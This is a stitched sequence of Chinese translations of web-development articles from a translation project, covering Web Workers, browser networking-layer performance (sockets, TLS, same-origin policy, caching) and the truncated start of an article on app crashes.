`performCPUIntensiveCalculation` 不是一个 HTTP 请求,而是一段可以阻塞线程的代码(例:一段巨型 `for` 循环代码)。这样会使 event loop 不堪重负,浏览器 UI 也随之阻塞 —— 用户将面对卡顿无响应的网页。 这就说明了使用异步函数只能解决 JavaScript 单线程模型带来的一小部分问题。 在一些因大量计算引起的 UI 阻塞问题中,使用 `setTimeout` 来解决阻塞的效果还不错。例如,我们可以把一系列的复杂计算分批放到单独的 `setTimeout` 中执行,这样做等于是把连续的计算分散到了 event loop 中的不同位置,以此为 UI 的渲染和事件响应让出了时间。 让我们来看一个简单的计算数组均值的函数: ``` function average(numbers) { var len = numbers.length, sum = 0, i; if (len === 0) { return 0; } for (i = 0; i < len; i++) { sum += numbers[i]; } return sum / len; } ``` 下面是对上方代码的一个重写,使其获得了异步性: ``` function averageAsync(numbers, callback) { var len = numbers.length, sum = 0; if (len === 0) { return 0; } function calculateSumAsync(i) { if (i < len) { // 把下一次函数调用放入 event loop setTimeout(function() { sum += numbers[i]; calculateSumAsync(i + 1); }, 0); } else { // 计算完数组中所有元素后,调用回调函数返回结果 callback(sum / len); } } calculateSumAsync(0); } ``` 通过使用 `setTimeout` 可以把每一步计算都放置到 event loop 较后的时间点执行。在每两次的计算间隔,event loop 便会有足够的时间执行其他计算,从而保证浏览器不会一 ”冻“ 不动。 #### 拯救你于水火之中的 Web Worker [HTML5](https://www.w3schools.com/html/html5_intro.asp) 已经提供了不少开箱即用的好东西,包括: * SSE (在 [上一篇文章](https://blog.sessionstack.com/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path-584e6b8e3bf7) 中已经谈过它的特性并与 WebSocket 进行了对比) * 地理信息 * 应用缓存 * LocalStorage * 拖放手势 * **Web Worker** Web Worker 是内建在浏览器中的轻量级 **线程**,使用它执行 JavaScript 代码不会阻塞 event loop。 非常神奇吧,本来 JavaScript 中的所有范例都是基于单线程模型实现的,但这里的 Web Worker 却(在一定程度上)突破了这一限制。 从此开发者可以远离 UI 阻塞的困扰,通过把一些执行时间长、计算密集型的任务放到后台交由 Web Worker 完成,使他们的应用响应变得更加迅速。更重要的是,我们再也不需要对 event loop 施加任何的 `setTimeout` 黑魔法。 这里有一个简单的数组排序 [demo](http://afshinm.github.io/50k/) ,其中对比了使用 Web Worker 和不使用 Web Worker 时的区别。 #### **Web Worker 概览** Web Worker 允许你在执行大量计算密集型任务时,还不阻塞 UI 进程。事实上,二者互不阻塞的原因就是它们是并行执行的,可以看出 Web Worker 是货真价实的多线程。 你可能想说 — ”JavaScript 不是一个在单线程上执行的语言吗?“。 你可能会惊讶 JavaScript 作为一门编程语言,却没有定义任何的线程模型。因此 Web Worker 并不属于 JavaScript 语言的一部分,它仅仅是浏览器提供的一项特性,只是它可以被 JavaScript 访问、调用罢了。过往的众多浏览器都是单线程程序(以前的理所当然,现在也有了些许变化),并且浏览器一直以来也是 JavaScript 主要的运行环境。对比在 Node.JS 中就没有 Web Worker 的相关实现 — 虽然 Web Worker 对应着 Node.JS 中的 “cluster” 或 “child_process” 概念,不过它们还是有所区别的。 值得注意的是,Web Worker 的 [定义](http://www.whatwg.org/specs/web-workers/current-work/) 中一共包含了 3 种类型的 Worker: * [Dedicated Worker(专用 Worker)](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers) * [Shared Worker(共享 Worker)](https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker) * [Service worker(服务 Worker)](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API) #### Dedicated Worker(专用 Worker) Dedicated Worker 由主线程实例化且只能与它通信。 ![](https://cdn-images-1.medium.com/max/800/1*ya4zMDfbNUflXhzKz9EBIw.png) Dedicated Worker 浏览器兼容性一览 #### Shared Worker(共享 Worker) Shared Worker 可以被同一域(浏览器中不同的 tab、iframe 或其他 Shared Worker)下的所有线程访问。 ![](https://cdn-images-1.medium.com/max/800/1*lzOIevUBVy5eWyf2kHf--w.png) Shared Worker 浏览器兼容一览 #### Service Worker(服务 Worker) Service Worker 是一个事件驱动型 Worker,它的初始化注册需要网页/站点的 origin 和路径信息。一个注册好的 Service Worker 可以控制相关网页/网站的导航、资源请求以及进行粒度化的资源缓存操作,因此你可以极好地控制应用在特定环境下的表现(如:无网络可用时)。 ![](https://cdn-images-1.medium.com/max/800/1*6o2TRDmrJlS97vh1wEjLYw.png) Service Worker 浏览器兼容一览 在本文中,我们主要讨论 Dedicated Worker,后文的 ”Web Worker“ 或 “Worker” 都默认指代它。 #### Web Worker 工作原理 最终实现 Web Worker 的是一堆 `.js` 文件,网页会通过异步 HTTP 请求来加载它们。当然 [Web Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) 已经包办了这一切,上述加载对使用者完全无感。 Worker 利用类似线程的消息机制保持了与主线程的平行,它是提升你应用 UI 体验的不二人选,使用 Worker 保证了 UI 渲染的实时性、高性能和快速响应。 Web Worker 是运行在浏览器内部的一条独立线程,因此需要使用 Web Worker 运行的代码块也必须存放在一个 **独立文件** 中。这一点需要牢记在心。 让我们看看,如何创建一个基础 Worker: ``` var worker = new Worker('task.js'); ``` 如果此处的 “task.js” 存在且能被访问,那么浏览器会创建一个新的线程去异步地下载源代码文件。一旦下载完成,代码将立刻执行,此时 Worker 也就开始了它的工作。 如果提供的代码文件不存在返回 404,那么 Worker 会静默失败并不抛出异常。 为了启动创建好的 Worker,你需要显式地调用 `postMessage` 方法: ``` worker.postMessage(); ``` #### Web Worker 通信 为了使创建好的 Worker 和创建它的页面能够通信,你需要使用 `postMessage` 方法或 [Broadcast Channel(广播通道)](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel). #### 使用 postMessage 方法 在较新的浏览器中,postMessage 方法支持 `JSON` 对象作为函数的第一个入参,但是在旧版本浏览器中它还是只支持 `string`。 下面的 demo 会展示 Worker 是如何与创建它的页面进行通信的,同时我们将使用 JSON 对象作为通信体好让这个 demo 看起来稍微 “复杂” 一点。若改为传递字符串,方法也不言而喻了。 让我们看看下面的 HTML 页面(或者准确地说是片段): ``` ``` 这部分则是 Worker 脚本中的内容: ``` self.addEventListener('message', function(e) { var data = e.data; switch (data.cmd) { case 'average': var result = calculateAverage(data); // 一个计算数值型数组元素均值的函数 self.postMessage(result); break; default: self.postMessage('Unknown command'); } }, false); ``` 当主页面中的 button 被按下,触发调用了 `postMessage` 方法。`worker.postMessage` 这行代码会传递一个 `JSON` 对象给 Worker,对象中包含了 `cmd` 和 `data` 两个键以及它们对应的值。相应的,Worker 会通过定义的 `message` 响应方法拿到和处理上面传递过来的消息内容。 当消息到达 Worker 后,实际的计算便开始运行,这样完全不会阻塞 event loop。在此过程中,Worker 只会检查传递来的事件 `e`,然后像往常执行 JavaScript 函数一样继续执行。当最终执行完成,执行结果会回传回主页面。 在 Worker 的执行上下文中,`self` 和 `this` 都指向 Worker 的全局作用域。 > 有两种停止 Worker 的方法:1、在主页面中显示地调用 `worker.terminate()` ;2、在脚本中调用 `self.close()` 让 Worker 自行了断。 #### Broadcast Channel(广播通道) [Broadcast Channel](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) 是更纯粹地为通信而生的 API。它允许我们在同域下的所有的上下文中发送和接收消息,包括浏览器 tab、iframe 和 Worker: ``` // 创建一个到 Broadcast Channel 的连接 var bc = new BroadcastChannel('test_channel'); // 发送一段简单的消息 bc.postMessage('This is a test message.'); // 这是一个简单的事件 handler // 我们会在 handler 中接收并打印消息到终端 bc.onmessage = function (e) { console.log(e.data); } // 断开与 Broadcast Channel 的连接 bc.close() ``` 下图会帮助你理解 Broadcast Channel 的工作原理: ![](https://cdn-images-1.medium.com/max/800/1*NVT6WbNrH_mQL64--b-l1Q.png) 使用 Broadcast Channel 会有更严格的浏览器兼容限制: ![](https://cdn-images-1.medium.com/max/800/1*81mCsOzyJj-HfQ1lP_033w.png) #### 消息的大小 一共有 2 种给 Web Worker 发送消息的方法: * **拷贝消息:** 这种方法下消息会被序列化、拷贝然后再发送出去,接收方接收后则进行反序列化取得消息。因此上例中的页面和 Worker 不会共享同一个消息实例,它们之间每发送一次消息就会多创建一个消息副本。大多数浏览器都采用这样的发送方法,并且会在发送和接收端自动进行 JSON 编码/解码。如你所预料的,这些数据处理会给消息传送带来不小的负担。传送的消息越大,时间开销就越大。 * **传递消息:** 使用这种方法意味着消息发送者一旦成功发送消息后,就再也无法使用发出的消息数据了。消息的传送几乎不耗费任何时间,美中不足的是只有 [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) 支持以这种方式发送。 #### Web Worker 中支持的 JavaScript 特性 因为 Web Worker 的多线程天性使然,它只能使用 **一小撮** JavaScript 提供的特性,列表如下: * `navigator` 对象 * `location` 对象(只读) * `XMLHttpRequest` * `setTimeout()/clearTimeout()` 与 `setInterval()/clearInterval()` * [应用缓存](https://www.html5rocks.com/tutorials/appcache/beginner/) * 使用 `importScripts()` 引入外部 script * [创建其他的 Web Worker](https://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-subworkers) #### Web Worker 的局限性 令人遗憾的是 Web Worker 无法访问一些非常重要的 JavaScript 特性: * DOM 元素(访问不是线程安全的) * `window` 对象 * `document` 对象 * `parent` 对象 这意味着 Web Worker 不能做任何的 DOM 操作(也就是 UI 层面的工作)。刚开始这会显得略微棘手,不过一旦你学会了如何正确使用 Web Worker。你就只会把 Web Worker 用作单独的 ”计算机器“,而把所有的 UI 操作放到页面代码中。你可以把所有的脏活累活都交给 Web Worker 完成,再将它劳作的结果传到页面并在那里进行必要的 UI 操作。 #### 异常处理 像对待任何 JavaScript 代码一样,你希望处理 Web Worker 抛出的任何错误。当 Worker 在运行时发生错误,它会触发 `ErrorEvent` 事件。该接口包含 3 个有用的属性,它们能帮助你定位代码出错的原因: * **filename** - 发生错误的 script 文件名 * **lineno** - 发生错误的代码行号 * **message** - 错误信息 这有一个例子: ``` function onError(e) { console.log('Line: ' + e.lineno); console.log('In: ' + e.filename); console.log('Message: ' + e.message); } var worker = new Worker('workerWithError.js'); worker.addEventListener('error', onError, false); worker.postMessage(); // 不传递消息仅启动 Worker ``` ``` self.addEventListener('message', function(e) { postMessage(x * 2); // 此行故意使用了未声明的变量 'x' }; ``` 可以看到,我们在这儿创建了一个 Worker 并监听着它发出的 `error` 事件。 通过使用一个在作用域内未定义的变量 `x` 作乘法,我们在 Worker 内部(`workerWithError.js` 文件内)故意制造了一个异常。这个异常会被传递到最初创建 Worker 的 scrpit 中,同时调用 `onError` 函数。 #### Web Worker 的最佳实践 到此为止我们已经见识了 Web Worker 的强悍与不足,下面就一起来看看最适合使用它的场景有哪些: * **光线追踪(Ray Tracing):**:光线追踪属于计算机图形学中的 [渲染(Rendering)](https://en.wikipedia.org/wiki/Rendering_%28computer_graphics%29 "Rendering (computer graphics)") 技术,它会追踪并转换[光线](https://en.wikipedia.org/wiki/Light "Light") 的轨迹为一个个像素点,最终生成一张完整的图片。为模拟光线的轨迹,光线追踪需要 CPU 进行大量的数学计算。光线追踪包括模拟光的反射、折射及物质效果等。以上所有的计算逻辑都可以交给 Web Worker 完成,从而不阻塞 UI 线程的执行。或者更好的方案是使用多个 Worker (以及多个 CPU)来完成图片渲染。这有一个使用 Web Worker 进行光线追踪的 demo — [https://nerget.com/rayjs-mt/rayjs.html](https://nerget.com/rayjs-mt/rayjs.html). * **加密:** 针对个人敏感数据的保护条例变得日益严格,端对端的数据加密也变得更为流行。当程序中需要经常加密大量数据时(如向服务器发送数据),加密成为了非常耗时的工作。Web Worker 可以非常好的切入此类场景,因为这里不涉及任何的 DOM 操作,Worker 中仅仅运行一些专为加密的算法。Worker 会勤恳地默默工作,丝毫不会打扰用户,也绝不会影响用户的体验。 * **数据预获取:** 为优化你的网站或 web 应用的数据加载时长,你可以使用 Web Worker 预先获取一些数据,存储起来以备后续使用。Web Worker 在这里发挥着重要作用,因为它绝不会影响应用的 UI 体验,若不使用 Web Worker 情况会变得异常糟糕。 * **Progressive Web App:** 当网络状态不是很理想时,你仍需保证 PWA 有较快的加载速度。这就意味着 PWA 的数据需要被持久化到本地浏览器中。在此背景下,一些与 [IndexDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) 类似的 API 便应运而生了。从根本上来说,客户端一侧需要有数据存储能力。为保证存取时不阻塞 UI 线程,这部分工作理应交给 Web Worker 完成。好吧,在 IndexDB 中你可以不使用 Web Worker,因为它提供的异步 API 同样不会阻塞 UI。但是在这之前,IndexDB 提供的是同步API(可能会被再次引入),这种情况使用 Web Worker 还是非常有必要的。 * **拼写检查:** 进行拼写检查的基本流程如下 — 程序首先从词典文件中读取一系列拼写正确的单词。整个词典的单词会被解析为一个搜索树用于实际的文本搜索。当待测词语被输入后,程序会检查已建立的搜索树中是否存在该词。如果在搜索树中没有匹配到待测词语,程序会替换字符组成新的词语,并测试新的词语是否是用户期待输入的,如果是则会返回该词语。整个检测过程可以被轻松 “下放” 给 Web Worker 完成,Worker 会完成所有的词语检索和词语联想工作,这样一来用户的输入就不会阻塞 UI 了。 对 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-outro) 来说,保持高性能和高可靠性是极其重要的. 持有这种理念的主要原因是,一旦你的应用集成 SessionStack 后,它会开始记录从 DOM 变化、用户交互行为到网络请求、未捕获异常和 debug 信息的所有数据。收集到的跟踪数据会被 **实时** 发送到后台服务器,以视频的形式向你还原应用中出现的问题,帮助你从用户的角度重现错误现场。这一切功能的实现需要足够的快并且不能给你的应用带来任何性能上的负担。 这就是为什么我们尽可能地把 SessionStack 中,值得优化的业务逻辑交给 Web Worker 完成。诸如在核心监控库和播放器中,都包含了像 hash 数据完整性验证、渲染等 CPU 密集型任务,这些都是值得使用 Web Worker 优化的地方。 Web 技术持续向前变更和发展,所以我们宁肯先行一步也要保证 SessionStack 是一个不会给用户 app 带来任何性能损耗的轻量级应用。 如果阁下愿意试试 SessionStack ,这里有一个[免费的试用计划](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-try-now)。 ![](https://cdn-images-1.medium.com/max/800/1*YKYHB1gwcVKDgZtAEnJjMg.png) #### 参考资料 * [https://www.html5rocks.com/en/tutorials/workers/basics/](https://www.html5rocks.com/en/tutorials/workers/basics/) * [https://hacks.mozilla.org/2015/07/how-fast-are-web-workers/](https://hacks.mozilla.org/2015/07/how-fast-are-web-workers/) * [https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-modern-web-browsers-accelerate-performance-the-networking-layer.md ================================================ > * 原文地址:[How Modern Web Browsers Accelerate Performance: The Networking Layer](https://blog.sessionstack.com/how-modern-web-browsers-accelerate-performance-the-networking-layer-f6efaf7bfcf4) > * 原文作者:[ > Lachezar Nickolov](https://blog.sessionstack.com/@lsnickolov?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-modern-web-browsers-accelerate-performance-the-networking-layer.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-modern-web-browsers-accelerate-performance-the-networking-layer.md) > * 译者:[yoyoyohamapi](https://github.com/yoyoyohamapi) > * 校对者:[realYukiko](https://github.com/realYukiko) [MechanicianW](https://github.com/MechanicianW) # 现代浏览器是如何提升性能的:网络层 49 年前,ARPnet 建立了。这是一个[早期的分组交换网络](https://en.wikipedia.org/wiki/Packet_switching),也是第一个 [实现了 TCP/IP 协议簇](https://en.wikipedia.org/wiki/Internet_protocol_suite) 的网络。该网络建立了一个从加州大学到斯坦福研究院的连接。20 年后,Tim Berners-Lee(译注:万维网之父)分享了一个叫做 “Mesh” 的提案(译注:参看 [Information Management: A Proposal](https://www.w3.org/History/1989/proposal.html)),这在之后成为了我们所熟知的万维网(World Wide Web)。49 年间,因特网得到了长足发展,从仅仅是两台电脑间的数据分组交换,到现如今有超过 7500 万台服务器,38 亿个互联网用户,以及 13 亿个网站。 ![](https://cdn-images-1.medium.com/max/800/1*x8P3OcgcgKrEEDpgT2IKkQ.jpeg) 本文中,我们将分析现代浏览器用来自动提升性能的技术(甚至你都感知不到这些技术),并且我们会聚焦于浏览器的网络层。我们也会提供一些使用浏览器提高你的 web 应用性能的思路。最后,我们也会分享一些我们在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-6-webassembly-intro) 时的经验法则,这是一个轻量级、健壮且高性能的 JavaScript 应用,旨在帮助用户实时查看和复现他们的 web 应用缺陷。 我们都熟悉这 13 亿个网站在呈现一个用户友好页面时所用的技术。这次我们则聚焦于 web 浏览器。现代 web 浏览器被专门设计来交付快速、高效和安全的 web 应用程序或是网站。web 浏览器看起来更像是一个操作系统,而不仅仅是一个软件,因为有数以百计的组件运行在不同分层,从进程管理和安全沙箱,再到 GPU 管道,音视频等等。 浏览器的整体性能取决于这些大型组件:解析、布局、样式计算、JavaScript 和 WebAssembly 执行、渲染以及网络堆栈。网络堆栈(或者说网络协议栈)经常会被质疑是性能的瓶颈所在。这是因为在剩余步骤被解锁前,需要从因特网获得所有需要的资源。为了让网络层高效,网络堆栈需要扮演一个更为重要的角色,而不仅仅是个简单的 socket 管理员。网络层的资源获取的机制是简单浅显的,但机制以外,它还是一个拥有自己的优化法则、API 以及服务的完整平台。 ![](https://cdn-images-1.medium.com/max/800/1*WqInzMPQGGcMX9AOONN76g.jpeg) 作为 web 开发者,我们不用关心各个 TCP 或者 UDP 报文,请求格式化、缓存等等正在进行的过程。这些复杂的东西都是浏览器的职责,这让我们可以专注于应用开发。但是,这也不妨碍我们多多少少去知道一些 web 浏览器的底层细节。事实上,这可以帮助我们创建更快、更安全的应用。 本质上,下面罗列的这些就是用户和浏览器交互的过程: * 用户在浏览器地址栏输入了一段 URL。 * 浏览器从 URL 中获得了域名,再通过 [DNS](https://en.wikipedia.org/wiki/Domain_Name_System) 请求到服务器的 IP 地址。 * 浏览器创建了一个 HTTP 报文,该报文说明了它将请求放在远程服务器上的 web 页面。 * 报文被送到了 TCP 层,TCP 层会在 HTTP 报文头部添加一些它自己的信息,该信息是保持会话的必需。 * 之后,报文又被送入了 IP 层,这一层的主要任务是指出如何将你的报文从本地发送到远端的服务器。这个信息也被保存在了报文头部。 * 报文被送到了远端服务器。 * 一旦报文被收到,服务端响应会被以同样形式送回。 这是一个针对于网络请求创建后发生了什么而做的高级概述。整个网络进程是非常复杂的,其中许多层都可能成为性能瓶颈。这也就是为何浏览器会致力于通过使用不同的技术手段来减小网络通信的开销,从而提高性能。 ### socket 管理 让我们以几个技术开始: * origin —— 一个含有应用协议、域名和端口的三元组(例如 https、[www.example.com](http://www.example.com)、443) * socket 池 —— 一个同源 sockets 组(所有的主流浏览器都限制了池的大小不超过 6 个 socket) JavaScript 和 WebAssembly 不允许我们管理单个报文的生命期,这可是件好事儿!这不仅让我们专注于应用开发,还允许浏览器自动进行一系列的性能提升,例如 socket 重用、设置请求优先级以及延迟绑定、协议协商、强制连接限制等等。事实上,现代浏览器已经极大地将请求管理循环从 socket 管理中分离出来。Socket 通过池进行组织,每个池容纳了同源的 socket,每一个 socket 池又都强制了连接限制和安全限制。待执行请求被放入队列并设置了优先级,之后会被绑定到池中单个 socket。除非服务器有意关闭了连接,否则相同的 socket 可以在多个请求中自动重用。 ![](https://cdn-images-1.medium.com/max/800/1*_0F_8oL0vQQestOkKeRmAw.jpeg) 由于开启一个新的 TCP 连接会带来额外的性能开销,因此连接重用会为连接带来极大的性能收益。默认情况下,当一个请求建立后,为避免开启一个新的到服务器的连接产生的耗时,浏览器使用了 “keepalive” 机制。打开一个本地请求的 TCP 连接的平均时间为 23 ms,开启一个横贯大陆连接的平均时间为 120 ms,而开启一个洲际连接则为 225 ms。现在,想象浏览器已经创建了 10 个到服务器的连接,你大可自己算算要消耗多少时间。 这一架构为其他许多性能优化手段开启了大门。不同优先级的请求,将会被以不同的顺序执行。浏览器可以优化各个 socket 间的带宽分配,也可以依据请求打开新的 socket。 正如我之前提到的,这些都是通过浏览器进行管理,而不会要求开发者做任何的工作。但这并不意味着我们对于提升网络性能无能为力。选择正确的网络通信模式、类型、传输频率,以及服务器堆栈的选择和调试都将在应用的整体性能中扮演重要角色。 一些浏览器的能力甚至不仅于此。例如,Chrome 的自我学习手段能让你越用越快。它是基于用户已访问过的网站和具有代表性的浏览模式进行学习的,因此,它可以预估相似用户的行为,并且在用户什么都没做之前就进行优化。最简单的例子就是,当用户的鼠标滑过某个超链接时,Chrome 就预先渲染了这个链接对应的页面。如果你想要了解更多 Chrome 的优化手段,你可以阅读 [High-Performace Browser Networking](https://hpbn.co) 的这一章 [https://www.igvita.com/posa/high-performance-networking-in-google-chrome/](https://www.igvita.com/posa/high-performance-networking-in-google-chrome/)。 ### 网络安全和沙箱化 允许浏览器对单独的 socket 进行管理还有另外一个重要目的:它为不受信任的应用资源强制开启了一连串的安全和策略限制。例如,浏览器不允许 API 直接访问原始的网络 socket,因为这将让任何恶意应用都能直连到任意主机。浏览器也强行限制了连接个数,目的在于防止服务器和客户端资源枯竭。 浏览器会对所有发出的请求进行格式化,借此强制协议语义的一致性和结构正确,从而保护服务器。类似地,响应解码也会自动完成,从而保护用户不受恶意服务器的侵害。 #### TLS 协议 [传输层安全(TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security) 是一个加密协议,它能够在计算机网络间提供通信安全。TLS 已经被广泛应用到了许多应用中,其中之一就是 web 浏览。网站可以使用 TLS 来保障服务器和 web 浏览器间的通信安全。 完整的 TLS 握手过程包含如下步骤: 1. 客户端发送了一个 “Client hello” 消息给服务器,并附上了客户端的随机数和支持的密文簇。 2. 服务器响应一个 “Server hello” 消息给客户端,并附上了服务端的随机数。 3. 服务器发送其证书给客户端用于认证,并且也请求客户端的证书。然后,服务器发送 “Server hello done” 消息。 4. 如果服务器向客户端请求了证书,则客户端就会发送证书。 5. 客户端创建了一个随机的 Pre-Master Secret,并且使用了从服务器证书中获得的公钥对其进行加密,之后发送加密后的 Pre-Master Secret 给服务器。 6. 服务器收到了 Pre-Master Secret。基于 Pre-Master Secret,服务器和客户端各自产生了 Master Secret 和 session keys。 7. 客户端发送了 “Change cipher spec” 通知到服务器,以此指明客户端将会开始使用新的 session keys 来加密消息和哈希化消息。客户端也会发送一个 “Client finished” 消息给服务器。 8. 服务器收到了 “Change cipher spec” 消息,然后将其记录层安全状态转换为使用 session key 的对称加密。然后服务器发送了 “Server finished” 消息给客户端。 9. 客户端和服务器现在可以在它们所建立的安全信道上进行应用数据的交换,所有客户端和服务器间的消息都使用了 session key 进行加密。 流程中如果有任何的校验失败 —— 例如服务器使用了自签名的证书,用户都将会被警告。 #### 同源策略 浏览器强制对应用程序能够初始化的请求在类型上做出了限制,也强制对请求的源做了限制。 上面罗列的也远不够完整。同源策略的目的在于强调 “最小特权” 原则生效了。浏览器只暴露了应用代码所必需的 API 和资源:应用所用的数据、URL,浏览器格式化了请求并且操纵了每个连接完整的生命周期。 值得注意的是,“同源策略” 尚没有一个简单的概念,取而代之的是,有一系列相关的机制来强制对 DOM 访问、cookie 和 session 状态管理、网络、以及另外一些的浏览器组件做出限制。如果你对此仍存有疑惑,我建议你看看 Michal Zalewski 的 [The Tangled Web](https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886)。 ### 资源及客户端状态缓存 最好、最快的请求就是不做请求。在分发一个请求前,浏览器会自动检查资源缓存并进行必要的校验,如果满足特定的条件,则直接返回本地缓存的资源备份。类似地,如果没有命中本地缓存中的资源,就会发送一个网络请求,得到的响应将自动地放入缓存中服务于后续的访问。 * 浏览器会自动评估每个资源的缓存指令 * 浏览器会在可能的时候自动对过期资源进行再验证 * 浏览器会自动管理缓存大小并进行资源回收 手动管理一个高效的,最优化的资源缓存是非常困难的。幸运地是,浏览器自己承担了这份复杂的工作,我们只需要保证我们的服务器返回正确的缓存指令即可。想要了解更多的话,可以参看 [Cache Resources on the Client](https://hpbn.co/optimizing-application-delivery/#cache-resources-on-the-client)。你为页面的所有资源都提供了一个 Cache-Control,ETag 以及 Last-Modified 响应头,对吧? 最后,浏览器的一个常被忽略却至关重要的功能就是提供了认证、session(会话) 和 cookie 管理。浏览器为每个源维护了相互隔离的 “cookie jars(饼干罐)”,并暴露了应用和服务器所需的 API 来读写新的 cookie、session 以及认证数据,又通过自动添加和处理了正确的 HTTP 头部来帮助我们实现整个过程的自动化。 #### 举个栗子: 一个简单的例证就是将 session 状态管理推迟到浏览器所带来的便捷:一个已认证的 session 可以在多个浏览器标签页或者窗口中共享,反之亦然。在某个标签页进行的登出操作也会让所有其他的标签页或者窗口中对应的 session 失效。 ### 应用层 API 和 协议 顺着网络服务的梯子一步步爬,最终我们将到达应用层,接触到应用层 API 和 协议。 正如我们所看到的,较低层的网络层提供了应用广泛而又关键的服务:socket 和连接管理、请求和响应处理、各种强制性的安全策略、缓存等等。每当我们初始化一个 HTTP 或者 XMLHttpRequest、一个长期存活的 Server-Sent Event 或者 WebSocket 会话、或者打开了一个 WebRTC 连接,我们都会和这些底层服务交互。 当然,不存在一个最好的协议和 API。每个大型应用都会混合不同的传输方式,这是基于各种各样的需求:和浏览器缓存交互、协议过载、消息延迟、应用可靠性、数据传输类型等等。一些协议可能提供低延迟的交付能力(例如 Server-Sent Events、WebSocket),但这可能又不满足其他的关键准则,例如利用浏览器缓存的能力或者在所有场景下都支持高效的二进制传输。 概括下来,有以下手段可以提高你的 web 应用性能和安全: * 总在你的请求头部使用 “Connection: Keep-Alive” 。浏览器默认会做这件事儿。你要确定你的服务器也使用了同样的机制。 * 使用合适的 Cache-Control、ETag 和 Last-Modified 头部,借此你可以节省不少浏览器下载时间。 * 花费一些时间来调试和优化你的 web 服务器。 * 总是使用 TLS!特别是如果你的应用程序使用了任意类型的认证手段。 * 研究一下你所用的浏览器都提供了哪些安全策略,并在你的应用中强制使用它们。 * 务必浏览下本文参考资料中提及的书籍。可以从其中学到其他的技术。 在 SessionStack 中,性能和安全同属一等公民。二者被置于如此高的层面进行考虑的原因是,一旦 SessionStack 嵌入你的 web 应用,它就开始记录你应用的每一件事儿,从 DOM 变化和用户交互,到未捕获的异常和 debug 信息。所有这些数据都实时地传入我们的服务器,这让你能够通过视频重现你应用的每个问题,看见每一件发生在用户身上的事儿。所有的这些都具有最小的延时,也不会对你的应用造成任何的性能过载。 这就是为什么我们致力于在 SessionStack 利用上述所有的,以及未来博文中将讨论的建议。 这里有一个免费计划让你[开始使用我们的产品](https://www.sessionstack.com/signup/)。 ![](https://cdn-images-1.medium.com/max/800/1*8wanSMWsaiOFLjEBb-5j8g.png) #### 参考资料 * [https://hpbn.co/](https://hpbn.co/) * [https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886](https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886) * [https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513%28v=vs.85%29.aspx) * [http://www.internetlivestats.com/](http://www.internetlivestats.com/) * [http://vanseodesign.com/web-design/browser-requests/](http://vanseodesign.com/web-design/browser-requests/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-not-to-crash-1.md ================================================ > * 原文地址:[How Not to Crash](http://blog.supertop.co/post/152615019837/how-not-to-crash-1) * 原文作者:[Padraig](https://twitter.com/supertopsquid) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Gocy](https://github.com/Gocy015/) * 校对者:[lovelyCiTY](https://github.com/lovelyCiTY), [DeadLion](https://github.com/DeadLion) # 如何避免应用崩溃 应用崩溃时有发生。崩溃会打断用户当前的工作流,导致数据的丢失,还会扰乱应用在后台的操作。对于开发者而言,那些最难修复的崩溃往往是那些难以重现,甚至难以检测到的崩溃。 我最近发现并修复了一个 bug ,而它正是导致 Castro 反复出现难以检测的崩溃的罪魁祸首(译者注: Castro 是原文作者开发的一款应用),我将处理这个问题的过程分享给大家并附上一些我的建议,或许能帮助你定位类似的问题。 我和 Oisin 